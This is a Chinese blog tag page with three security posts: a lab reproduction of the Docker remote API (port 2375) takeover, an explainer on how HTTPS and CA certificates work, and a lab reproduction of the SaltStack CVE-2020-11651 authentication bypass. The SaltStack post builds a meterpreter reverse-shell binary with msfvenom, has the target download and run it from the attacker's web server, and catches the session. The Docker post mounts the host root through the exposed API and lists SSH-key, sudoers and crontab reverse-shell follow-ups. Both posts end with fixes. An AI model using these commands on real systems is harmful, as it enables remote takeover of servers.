5 篇博文 含有标签「安全」

docker remote API 漏洞复现​

漏洞描述​

docker是一种开源的应用容器引擎，这个漏洞是利用docker对外开放的一个api接口，因为权限设置不当，导致可以远程命令执行。

测试环境​

• 本地一台虚拟机，一台临时创建的阿里云服务器
• centos7
• docker-ce-18.09.9

漏洞复现​

首先探测2375端口，如果开放，再构造http:localhost:2375/version请求，如果返回包带有json格式，说明存在该漏洞。

1、安装docker​

配置宿主机网卡转发

## 若未配置，需要执行如下
$ cat <<EOF >  /etc/sysctl.d/docker.conf
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
net.ipv4.ip_forward=1
EOF
$ sysctl -p /etc/sysctl.d/docker.conf

Yum安装配置docker

## 下载阿里源repo文件
$ curl -o /etc/yum.repos.d/Centos-7.repo http://mirrors.aliyun.com/repo/Centos-7.repo
$ curl -o /etc/yum.repos.d/docker-ce.repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

$ yum clean all && yum makecache
## 安装指定版本
yum install -y docker-ce-18.09.9

## 配置源加速
## https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors
mkdir -p /etc/docker
vi /etc/docker/daemon.json
{
  "registry-mirrors" : [
    "https://8xpk5wnt.mirror.aliyuncs.com"
  ]
}

## 设置开机自启
systemctl enable docker  
systemctl daemon-reload

## docker daemon
ps aux |grep docker
## containerd
ps aux|grep containerd
systemctl status containerd

2、开启2375端口，提供外部访问​

编辑docker文件：/usr/lib/systemd/system/docker.service

vim /usr/lib/systemd/system/docker.service

修改ExecStart行为下面内容

ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock \

重新加载docker配置

systemctl daemon-reload # 加载docker守护线程 systemctl restart docker # 重启docker

• 查看端口

3、信息收集端口​

4、查看返回包​

5、添加、查看本地密钥​

6、远程创建docker并添加密钥​

docker -H tcp://8.135.2.198 run --rm -it -v /:/mnt busybox chroot /mnt sh

• 简单解释一下参数的含义：
  • -rm 容器停止时，自动删除该容器
  • -v 挂载目录。格式为 系统目录:容器目录
  • -i 指示 docker 要在容器上打开一个标准的输入接口
  • -t 指示 docker 要创建一个伪 tty 终端，连接容器的标准输入接口，之后用户就可以通过终端进行输入

7、本地连接目标宿主机​

漏洞危害​

通过此漏洞，可在docker命令执行，并且影响宿主机。

总结流程​

引用网上的一些总结流程

1. Docker是以root权限运行的，这是所有姿势的前提
2. Docker在运行一个容器的时候可以将宿主机上的一个目录挂载到容器内的一个目录，我们可以参考redis未授权访问漏洞，将宿主机的/root/.ssh目录挂载到容器上，然后写入公钥。如果有web目录的话，最差也能上一个webshell。
3. 有些服务器不允许root登录，可以写入其他用户的.ssh/目录下（通过查看/etc/ssh/sshd_config目录），然后修改/etc/sudoer中的文件，配置为sudo免密码，切换为root
4. 还可以通过crontab写计划任务反弹shell

漏洞修复​

1.关闭2375端口 （尤其是公网情况下一定要禁用此端口）

2.在防火墙上配置禁止外网访问2375端口

HTTPS 是基于 HTTP 和 SSL/TLS 实现的一个协议，使用 HTTPS 在网络上传输的数据都是加密的，从而保证数据安全。

接下来我们从没有加密的 HTTP 协议开始，逐步对数据进行加密，增加安全性，最终实现 HTTPS。

HTTP 协议是不安全的。​

在 HTTPS 诞生之前，所有网站都直接使用 HTTP 协议。而 HTTP 协议在数据传输的过程中使用的都是明文，传输的数据很容易被泄露和篡改。


使用对称秘钥进行数据加密​

为了防止数据泄露和篡改，人们开始对数据进行加密。比如，生成一个对称密码（类似于 DKUFHNAF897123F 这样的随机字符串），将对称秘钥分别交给浏览器和服务器端，他们之间传输的数据都使用对称秘钥进行加密和解密。


请求和响应流程如下：

1. 客户端使用对称秘钥对请求进行加密，并发送给服务端。
2. 服务端接收到密文之后，使用对称秘钥对密文进行解密，然后处理请求。 最后再使用对称秘钥把要返回的内容再次加密，返回给客户端。
3. 客户端接收到密文之后，使用对称秘钥进行解密，并获取最终的响应内容。

总结起来就是，密钥加密，密钥解密。

如此一来，数据传输都是密文，解决了明文传输数据的问题。但是，这么干有 bug。

• 浏览器如何获取对称秘钥？
• 每个客户端的对称秘钥相同，浏览器能拿到对称秘钥，那么黑客也可以拿到。这样一来，数据加密就没有意义了。

动态对称秘钥和非对称秘钥​

为了解决对称秘钥动态性以及让客户端和服务端安全的获取对称秘钥，可以引入非对称秘钥机制。


这种模式可以总结为：公钥加密，私钥解密。

如此一来，解决了 动态对称秘钥和数据加密的问题，因为每个用户的对称秘钥都是随机生成且传输的过程中都使用公钥加密（公钥加密的数据只有私钥能解密），黑客无法截获对称秘钥。而数据传输是通过对称秘钥加密过的，所以黑客即使能获取数据也无法去解密看到真实的内容。 看似无懈可击，但是，这么干还是又 bug。

客户端如何才能保证，自己拿到的公钥就一定来自于服务器呢？

如果黑客在上图 【步骤 2】劫持，黑客把自己的公钥返回给客客户端。那么客户端会使用黑客的公钥来加密对称秘钥。黑客在【步骤 6】截获请求，使用自己的私钥获取对称秘钥，后面过程全都 gg！

CA 证书的应用​

使用 CA 证书可以解决黑客劫持的问题。


使用 CA 证书也是通过非对称加密，只是客户端会向证书签发机构验证公钥确实是来自于服务器，而非伪造的或是被人篡改过的。

如此一来，就解决了黑客劫持的问题，因为即使黑客劫持后的给浏览器即使返回了证书也无法通过校验，同时浏览器也会提示错误信息。

注意：HTTPS 是基于 HTTP 和 SSL/TLS 实现的一个协议，其中前 9 个步骤称为是 SSL/TLS 过程，之后的传输数据利用的就是 HTTP 协议（收发数据）。

总结​

以上就是 HTTPS 的实现原理。HTTPS 可以保证数据安全，但由过程需要反复加密解密所有访问速度会有所下降（鱼和熊掌不能兼得）。

SaltStack认证绕过漏洞（CVE-2020-11651）复现​

1.简介​

SaltStack是基于Python开发的一套C/S架构配置管理工具，是一个服务器基础架构集中化管理平台，具备配置管理、远程执行、监控等功能，基于Python语言实现，结合轻量级消息队列（ZeroMQ）与Python第三方模块（Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等）构建。

通过部署SaltStack，运维人员可以在成千万台服务器上做到批量执行命令，根据不同业务进行配置集中化管理、分发文件、采集服务器数据、操作系统基础及软件包管理等，SaltStack是运维人员提高工作效率、规范业务配置与操作的利器。

2.概述​

**CVE-2020-11651：**认证绕过漏洞，攻击者通过构造恶意请求，绕过Salt Master的验证逻辑，调用相关未授权函数功能，达到远程命令执行目的。

3.漏洞影响范围​

• SaltStack < 2019.2.4
• SaltStack < 3000.2

4.修复版本​

• 2019.2.4
• 3000.2

5.漏洞复现​

1.环境说明:​

• 靶机: 192.168.190.128(ubuntu18.04)(基于Docker搭建漏洞环境)
• 攻击机: 192.168.190.129(kali2020.4)
• exp: https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP

2.拉取镜像​

docker pull vulfocus/saltstack-cve_2020_11651

拉取镜像的过程可能有点慢,建议配置docker镜像加速器;

因为我已经拉取过镜像,所以直接下一步;

3.启动镜像​

docker run -d -p 4506:4506 -p 4505:4505 vulfocus/saltstack-cve_2020_11651

查看docker是否开启

docker ps

环境启动成功

4.漏洞利用​

1.安装 python salt模块​

pip3 install salt

查看是否已成功安装 salt

pip3 list

2.exp使用方法​

python3 CVE-2020-11651.py

3.尝试读取文件​

4.尝试反弹shell​

1.常规方式反弹shell失败​

尝试很多方法，更换exp,更改反弹端口号,但是都没有成功~

2.寻找失败原因​

找了很久终于找到一篇文章,无法反弹shell的原因可能是搭建的docker环境中不存在nc命令

测试靶机发现已安装nc命令

3.上传木马​

按照文章中的方法:

更换exp: https://github.com/dozernz/cve-2020-11651

然后尝试在攻击机生成一个木马,名为test

msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp  LHOST=192.168.190.129 LPORT=6666  -i 3 -f elf -o test

开启攻击机Apache:

/etc/init.d/apache2 start

查看apache是否开启

service apache2 status

复制木马到apache网站根目录

cp test /var/www/html/test

利用exp执行命令进行远程下载: (报错是exp脚本问题)

python3 CVE-2020-11651.py 192.168.190.128 master 'wget http://192.168.190.129/test|./test'

添加执行权限

python3 CVE-2020-11651.py 192.168.190.128 master 'chmod +x test |./test'

4.开启监听​

1.开始msf

msfconsole

2.加载模块

use exploit/multi/handler 

3.设置payload

set payload linux/x64/meterpreter/reverse_tcp

4.设置监听IP&Port

set lhost 192.168.190.129

set lport 6666

5.执行

exploit

6.远程执行靶机上的木马

python3 CVE-2020-11651.py 192.168.190.128 master './test'

7.成功获得会话

6.漏洞修复方案​

1. SaltStack官方已发布最新版本修复此漏洞，相关用户及时更新至安全版本及其以上,升级前做好快照备份。
2. 开启SaltStack自动更新，实时获取补丁或升级至安全版本。
3. 禁止将Salt Master默认监听端口（4505、4506）向公网开放，设置为仅对可信对象开放。